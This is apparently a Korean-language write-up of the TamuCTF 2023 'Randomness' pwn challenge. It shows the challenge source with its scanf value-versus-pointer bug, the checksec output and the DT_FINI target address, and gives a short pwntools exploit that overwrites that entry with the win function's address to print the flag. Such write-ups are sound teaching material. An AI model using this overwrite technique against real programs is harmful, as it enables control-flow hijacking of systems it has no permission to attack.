Tamu CTF 2023 - Randomness (pwn, fini)

I made this program to test how srand and rand work, but it keeps segfaulting. I don’t read compiler warnings so I can’t figure out why it’s broken.
Author: anomie

  • [86 solves / 428 points]

Analysis

바이너리와 소스코드를 제공해준다.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

void win() {
char* argv[] = {"/bin/cat", "flag.txt", NULL};
execve(argv[0], argv, NULL);
}

void foo() {
unsigned long seed;
puts("Enter a seed:");
scanf("%lu", &seed);
srand(seed);
}

void bar() {
unsigned long a;

puts("Enter your guess:");
scanf("%lu", a);

if (rand() == a) {
puts("correct!");
} else {
puts("incorrect!");
}
}


int main() {
puts("hello!");
foo();
bar();
puts("goodbye!");
}

사실 코드만 보고 취약점을 바로 못찾았다. 그래서 디버깅하면서 터지는 부분을 찾아봤다.

1
mov    QWORD PTR [rax], rdx

위 인스트럭션에서 터졌고, 저 값들은 나의 입력값이었다. 이것을 바탕으로 어디에 win 함수 주소를 쓸 지 고민했다.

Solve

1
2
3
4
5
Arch:     amd64-64-little
RELRO: No RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)

NO RELRO이다.

1
LOAD:0000000000403248                 Elf64_Dyn <0Dh, 4012D4h> ; DT_FINI

프로그램이 종료될 때 호출되는데 여기에 덮으면 된다.

Exploit Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
from pwn import *

context.arch = 'amd64'
context.log_level = 'DEBUG'

p = remote("tamuctf.com", 443, ssl=True, sni="randomness")
# p = process('./randomness')
# e = ELF('./randomness')

p.sendlineafter('seed:', '4207176')# 0x403248
# pause()
p.sendlineafter('guess:', '4198867') #'0x4011D3')

p.interactive()

Flag

1
gigem{value_or_pointer_is_an_important_distinction}